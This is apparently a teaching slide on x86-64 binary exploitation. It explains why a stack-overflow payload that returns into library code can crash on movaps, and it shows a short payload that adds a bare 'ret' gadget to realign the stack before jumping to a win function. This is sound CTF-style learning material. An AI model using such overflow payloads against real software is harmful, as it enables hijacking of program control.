The movaps Stack-Alignment Caveat (64-bit)

• The x86-64 ABI requires RSP to be 16-byte aligned at a call.
• Library functions (e.g. inside printf, system) use movaps, which faults on a misaligned stack.
• After our overflow the stack is often off by 8, so a direct call crashes in movaps.

# Fix: insert one extra "ret" gadget to re-align RSP by 8 bytes
ret = 0x000000000040101a          # address of a bare "ret"
payload  = b"A" * offset
payload += p64(ret)               # alignment pad (consumes 8 bytes)
payload += p64(win_addr)          # now RSP is 16-byte aligned